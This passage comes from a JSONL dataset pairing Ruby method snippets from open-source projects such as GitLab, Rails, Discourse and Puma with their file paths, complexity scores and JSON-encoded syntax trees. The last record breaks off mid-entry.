{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issues/set_crm_contacts_service.rb","start_line":126,"raw_source":"def too_many?\n      too_many_ids? || too_many_emails?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"too_many?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"too_many_ids?\"]},{\"type\":\"send\",\"children\":[null,\"too_many_emails?\"]}]}]}","id":"50c76819-7d7c-413a-9b55-c5bd2a7cca6e"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/launcher/bundle_pruner.rb","start_line":57,"raw_source":"def puma_wild_path\n        puma_lib_dir = puma_require_paths.detect { |x| File.exist? File.join(x, '../bin/puma-wild') }\n        File.expand_path(File.join(puma_lib_dir, '../bin/puma-wild'))\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"puma_wild_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"puma_lib_dir\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puma_require_paths\"]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"x\"]},{\"type\":\"str\",\"children\":[\"../bin/puma-wild\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"puma_lib_dir\"]},{\"type\":\"str\",\"children\":[\"../bin/puma-wild\"]}]}]}]}]}","id":"5972ce12-40fd-49ba-bf52-5c2578cb57d6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":2197,"raw_source":"def execute_integrations(data, hooks_scope = :push_hooks, skip_ci: false)\n    # Call only service hooks that are active for this scope\n    run_after_commit_or_now do\n      association(\"#{hooks_scope}_integrations\").reader.each do |integration|\n        next if skip_ci && integration.ci?\n\n        integration.async_execute(data)\n      end\n    end\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_integrations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"optarg\",\"children\":[\"hooks_scope\",{\"type\":\"sym\",\"children\":[\"push_hooks\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_ci\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_after_commit_or_now\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"association\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hooks_scope\"]}]},{\"type\":\"str\",\"children\":[\"_integrations\"]}]}]},\"reader\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"integration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_ci\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"ci?\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integration\"]},\"async_execute\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"9e229514-275e-4174-87b8-203871da7978"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/digital_link.rb","start_line":38,"raw_source":"def access_limit_exceeded?\n      if line_item.order.store.preferred_limit_digital_download_count\n        access_counter >= line_item.order.store.preferred_digital_asset_authorized_clicks\n      else\n        false\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"access_limit_exceeded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_item\"]},\"order\"]},\"store\"]},\"preferred_limit_digital_download_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_counter\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_item\"]},\"order\"]},\"store\"]},\"preferred_digital_asset_authorized_clicks\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"dc2732d8-851a-452a-b16e-3ad3a5fb68cc"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/format_string.rb","start_line":118,"raw_source":"def autocorrect_from_percent(corrector, node)\n          percent_rhs = node.first_argument\n          args = case percent_rhs.type\n                 when :array, :hash\n                   percent_rhs.children.map(&:source).join(', ')\n                 else\n                   percent_rhs.source\n                 end\n\n          corrected = \"#{style}(#{node.receiver.source}, #{args})\"\n\n          corrector.replace(node, corrected)\n        end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_from_percent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"percent_rhs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"first_argument\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percent_rhs\"]},\"type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"sym\",\"children\":[\"hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percent_rhs\"]},\"children\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percent_rhs\"]},\"source\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"corrected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]}]},{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"receiver\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"corrected\"]}]}]}]}","id":"dcbc2137-cc22-4877-9bd2-adf2c33289b6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/branches_controller.rb","start_line":177,"raw_source":"def ref\n    if params[:ref]\n      ref_escaped = strip_tags(sanitize(params[:ref]))\n      Addressable::URI.unescape(ref_escaped)\n    else\n      @project.default_branch_or_main\n    end\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"ref\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ref_escaped\",{\"type\":\"send\",\"children\":[null,\"strip_tags\",{\"type\":\"send\",\"children\":[null,\"sanitize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ref\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"unescape\",{\"type\":\"lvar\",\"children\":[\"ref_escaped\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"default_branch_or_main\"]}]}]}","id":"c08b0373-c9a7-4521-92bb-a1df3c95feb1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_field.rb","start_line":101,"raw_source":"def set_message_and_default_value\n    self.message ||= DEFAULTS[:message]\n    set_default_value(default_value)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_message_and_default_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULTS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_default_value\",{\"type\":\"send\",\"children\":[null,\"default_value\"]}]}]}]}","id":"149e4ddb-5b08-40d3-9532-d352ff011b60"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/git_utils.rb","start_line":23,"raw_source":"def self.last_commit_date\n    git_cmd = 'git log -1 --format=\"%ct\"'\n    seconds = self.try_git(git_cmd, nil)\n    seconds.nil? ? nil : DateTime.strptime(seconds, \"%s\")\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"last_commit_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"git_cmd\",{\"type\":\"str\",\"children\":[\"git log -1 --format=\\\"%ct\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"seconds\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"try_git\",{\"type\":\"lvar\",\"children\":[\"git_cmd\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"nil?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"strptime\",{\"type\":\"lvar\",\"children\":[\"seconds\"]},{\"type\":\"str\",\"children\":[\"%s\"]}]}]}]}]}","id":"4430e7e7-1d0d-4acc-a198-f6f3ca9c15a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/stage.rb","start_line":189,"raw_source":"def detailed_status(current_user)\n      Gitlab::Ci::Status::Stage::Factory\n        .new(self, current_user)\n        .fabricate!\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"detailed_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"Status\"]},\"Stage\"]},\"Factory\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},\"fabricate!\"]}]}","id":"3f29b329-f062-42aa-9da8-4f9eee0704d9"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/xml_mini/rexml.rb","start_line":81,"raw_source":"def merge_texts!(hash, element)\n        unless element.has_text?\n          hash\n        else\n          # must use value to prevent double-escaping\n          texts = +\"\"\n          element.texts.each { |t| texts << t.value }\n          merge!(hash, CONTENT_KEY, texts)\n        end\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_texts!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"has_text?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"texts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"texts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"texts\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"merge!\",{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"const\",\"children\":[null,\"CONTENT_KEY\"]},{\"type\":\"lvar\",\"children\":[\"texts\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"7ae1001e-e16d-4028-b483-4151c91f315c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/issue.rb","start_line":39,"raw_source":"def fabricate!\n        project.visit!\n\n        Page::Project::Menu.perform(&:go_to_new_issue)\n\n        Page::Project::Issue::New.perform do |new_page|\n          new_page.fill_title(@title)\n          new_page.choose_template(@template) if @template\n          new_page.fill_description(@description) if @description && !@template\n          new_page.choose_milestone(@milestone) if @milestone\n          new_page.create_new_issue\n        end\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visit!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_new_issue\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Issue\"]},\"New\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_title\",{\"type\":\"ivar\",\"children\":[\"@title\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"choose_template\",{\"type\":\"ivar\",\"children\":[\"@template\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_description\",{\"type\":\"ivar\",\"children\":[\"@description\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@milestone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"choose_milestone\",{\"type\":\"ivar\",\"children\":[\"@milestone\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"create_new_issue\"]}]}]}]}]}","id":"2d54e486-585a-4e30-b202-868e3d9e4dfb"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/action/search_message/process_search_query.rb","start_line":79,"raw_source":"def user_id_lookup\n          @user_id_lookup ||=\n            begin\n              return {} if usernames.empty?\n\n              normalized_usernames = usernames.map(&User.method(:normalize_username))\n              me_index = normalized_usernames.index(\"me\")\n              normalized_usernames[me_index] = guardian.user&.username_lower if me_index\n\n              User\n                .not_staged\n                .where(username_lower: normalized_usernames.compact)\n                .pluck(:username_lower, :id)\n                .to_h\n            end\n        end","complexity_score":26.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_id_lookup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_id_lookup\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usernames\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"normalized_usernames\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usernames\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"method\",{\"type\":\"sym\",\"children\":[\"normalize_username\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"me_index\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_usernames\"]},\"index\",{\"type\":\"str\",\"children\":[\"me\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"me_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_usernames\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"me_index\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"user\"]},\"username_lower\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"not_staged\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"normalized_usernames\"]},\"compact\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"username_lower\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_h\"]}]}]}]}","id":"c84a5d85-5dcd-4237-86a8-47cb22884db0"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_test.rb","start_line":273,"raw_source":"def test_polymorphic_array_where_multiple_types\n      treasure_1 = treasures(:diamond)\n      treasure_2 = treasures(:sapphire)\n      car = cars(:honda)\n\n      expected = [price_estimates(:diamond), price_estimates(:sapphire_1), price_estimates(:sapphire_2), price_estimates(:honda)].sort\n      actual = PriceEstimate.where(estimate_of: [treasure_1, treasure_2, car]).to_a.sort\n\n      assert_equal expected, actual\n    end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_polymorphic_array_where_multiple_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"treasure_1\",{\"type\":\"send\",\"children\":[null,\"treasures\",{\"type\":\"sym\",\"children\":[\"diamond\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"treasure_2\",{\"type\":\"send\",\"children\":[null,\"treasures\",{\"type\":\"sym\",\"children\":[\"sapphire\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"car\",{\"type\":\"send\",\"children\":[null,\"cars\",{\"type\":\"sym\",\"children\":[\"honda\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"price_estimates\",{\"type\":\"sym\",\"children\":[\"diamond\"]}]},{\"type\":\"send\",\"children\":[null,\"price_estimates\",{\"type\":\"sym\",\"children\":[\"sapphire_1\"]}]},{\"type\":\"send\",\"children\":[null,\"price_estimates\",{\"type\":\"sym\",\"children\":[\"sapphire_2\"]}]},{\"type\":\"send\",\"children\":[null,\"price_estimates\",{\"type\":\"sym\",\"children\":[\"honda\"]}]}]},\"sort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PriceEstimate\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"estimate_of\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"treasure_1\"]},{\"type\":\"lvar\",\"children\":[\"treasure_2\"]},{\"type\":\"lvar\",\"children\":[\"car\"]}]}]}]}]},\"to_a\"]},\"sort\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"fdf7dd83-eceb-4c5f-b21c-01b923d2bf01"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":70,"raw_source":"def initialize(controller_class)\n          super(false)\n          @controller_class = controller_class\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"controller_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@controller_class\",{\"type\":\"lvar\",\"children\":[\"controller_class\"]}]}]}]}","id":"7cd66cb3-7e11-4d16-8736-59584755f26c"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/helpers/active_record_objects.rb","start_line":31,"raw_source":"def teardown_models\n    if ActiveRecord::VERSION::MAJOR < 7\n      ActiveSupport::DescendantsTracker.clear\n      ActiveSupport::Dependencies.clear\n    end\n    Object.send(:remove_const, \"DeeplyAssociatedRecord\")\n    Object.send(:remove_const, \"PolymorphicRecord\")\n    Object.send(:remove_const, \"NormalizedAssociatedRecord\")\n    Object.send(:remove_const, \"AssociatedRecord\")\n    Object.send(:remove_const, \"NotCachedRecord\")\n    Object.send(:remove_const, \"NoInverseOfRecord\")\n    Object.send(:remove_const, \"Item\")\n    Object.send(:remove_const, \"ItemTwo\")\n    Object.send(:remove_const, \"RelatedItem\")\n    Object.send(:remove_const, \"KeyedRecord\")\n    Object.send(:remove_const, \"StiRecord\")\n    Object.send(:remove_const, \"StiRecordTypeA\")\n    Deeply::Nested.send(:remove_const, \"AssociatedRecord\")\n    Deeply.send(:remove_const, \"Nested\")\n    Object.send(:remove_const, \"Deeply\")\n    Object.send(:remove_const, \"CustomParentRecord\")\n    Object.send(:remove_const, \"CustomChildRecord\")\n    IdentityCache.const_get(:ParentModelExpiration).send(:lazy_hooks).clear\n  end","complexity_score":61.7,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown_models\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"VERSION\"]},\"MAJOR\"]},\"<\",{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"DescendantsTracker\"]},\"clear\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Dependencies\"]},\"clear\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"DeeplyAssociatedRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"PolymorphicRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"NormalizedAssociatedRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"AssociatedRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"NotCachedRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"NoInverseOfRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"Item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"ItemTwo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"RelatedItem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"KeyedRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"StiRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"StiRecordTypeA\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deeply\"]},\"Nested\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"AssociatedRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deeply\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"Nested\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"Deeply\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"CustomParentRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Object\"]},\"send\",{\"type\":\"sym\",\"children\":[\"remove_const\"]},{\"type\":\"str\",\"children\":[\"CustomChildRecord\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"const_get\",{\"type\":\"sym\",\"children\":[\"ParentModelExpiration\"]}]},\"send\",{\"type\":\"sym\",\"children\":[\"lazy_hooks\"]}]},\"clear\"]}]}]}","id":"47306b99-83d7-4d99-91ba-992e97ba0900"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/services/openid_connect/configuration_mapper.rb","start_line":39,"raw_source":"def call! # rubocop:disable Metrics/AbcSize\n      options = configuration.deep_stringify_keys\n\n      {\n        \"slug\" => options[\"name\"],\n        \"display_name\" => options[\"display_name\"].presence || \"OpenID Connect\",\n        \"oidc_provider\" => oidc_provider(options),\n        \"client_id\" => options[\"identifier\"],\n        \"client_secret\" => options[\"secret\"],\n        \"issuer\" => options[\"issuer\"],\n        \"host\" => options[\"host\"],\n        \"port\" => options[\"port\"],\n        \"scheme\" => options[\"scheme\"],\n        \"claims\" => extract_claims(options[\"claims\"]),\n        \"tenant\" => options[\"tenant\"],\n        \"post_logout_redirect_uri\" => options[\"post_logout_redirect_uri\"],\n        \"limit_self_registration\" => 